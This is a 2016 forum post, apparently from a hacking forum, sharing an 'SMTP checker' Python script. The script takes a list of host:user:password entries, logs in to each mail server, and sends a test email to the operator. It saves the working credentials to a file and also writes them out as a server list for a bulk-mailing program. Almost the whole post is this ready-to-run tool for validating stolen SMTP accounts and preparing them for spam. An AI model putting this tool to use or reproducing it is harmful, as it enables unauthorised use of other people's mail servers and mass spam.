11-20-2016, 12:26 PM
Old SMTP Checker, Still Working
All Credit To Old Hackers
All Credit To Old Hackers

Code:
#!usr/bin/python
#more tools
import sys, smtplib, socket, time
from smtplib import SMTP
socket.setdefaulttimeout(5) # smtp default timeout, change number to speed up large lists
def printHelp():
print '\nHow to use it ? There you go :) -- > ./darkSMTPv.py <accounts> <outputfile>'
print '\nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS\n'
# Create the message
fromaddr = "YOUR SENDER ADDRES"
toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"
#toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"
message = """To: %s
From: %s
Subject: WELCOME HOME BROTHER...
WELCOME HOME BROTHER , WE MISS YOU ALL :( MOM DAD DIED 7 YEARS AGO :'(
""" % (toaddr,fromaddr)
print "\n _ _ _____ __ __ _______ _____ "
print " | | | | / ____| \/ |__ __| __ \ "
print " __| | __ _ _ __| | _| (___ | \ / | | | | |__) |_ __"
print " / _` |/ _` | '__| |/ /\___ \| |\/| | | | | ___/\ \ / /"
print "| (_| | (_| | | | < ____) | | | | | | | | \ V / "
print " \__,_|\__,_|_| |_|\_\_____/|_| |_| |_| |_| \_/ \n"
print "\n This is not stopping here! ... To be continued."
print "More features will be added soon. For bugs p47r1ckro[at]gmail[dot]com\n"
print "_______________________________________________________________________"
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def sendchk(listindex, host, user, password): # seperated function for checking
try:
smtp = smtplib.SMTP(host)
smtp.login(user, password)
code = smtp.ehlo()[0]
if not (200 <= code <= 299):
code = smtp.helo()[0]
if not (200 <= code <= 299):
raise SMTPHeloError(code, resp)
smtp.sendmail(fromaddr, toaddr, message)
print "\n\t[!] Email Sent Successfully:",host, user, password
print "\t[!] Message Sent Successfully\n"
LSstring = host+":"+user+":"+password+"\n"
nList.append(LSstring) # special list for AMS file ID's
LFile = open(output, "a")
LFile.write(LSstring) # save working host/usr/pass to file
LFile.close()
AMSout = open("AMSlist.txt", "a")
AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n")
smtp.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
print "[-] Login Failed:", host, user, password
pass
if len(sys.argv) != 3:
printHelp()
exit(1)
# Do not change anything below.
accounts = sys.argv[1]
output = sys.argv[2]
try:
handle = list(open(accounts))
except:
print"\n[+] We were unable to open the SMTP filelist. Check again your path and try again."
print"\n[+] Ciao...."
#listindex = 0
nList = []
for line in handle:
try:
host = line.split(':')[0]
user = line.split(':')[1].replace('\n', '')
password = line.split(':')[2].replace('\n', '')
sendchk(handle.index(line), host, user, password)
except:
print '\n[+] We have found a error in your accounts list'
print host, user
print '\n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS'
print '\n[-] Exiting....\n'
exit(1)
print "[!] Ended at: " + timer() + ""












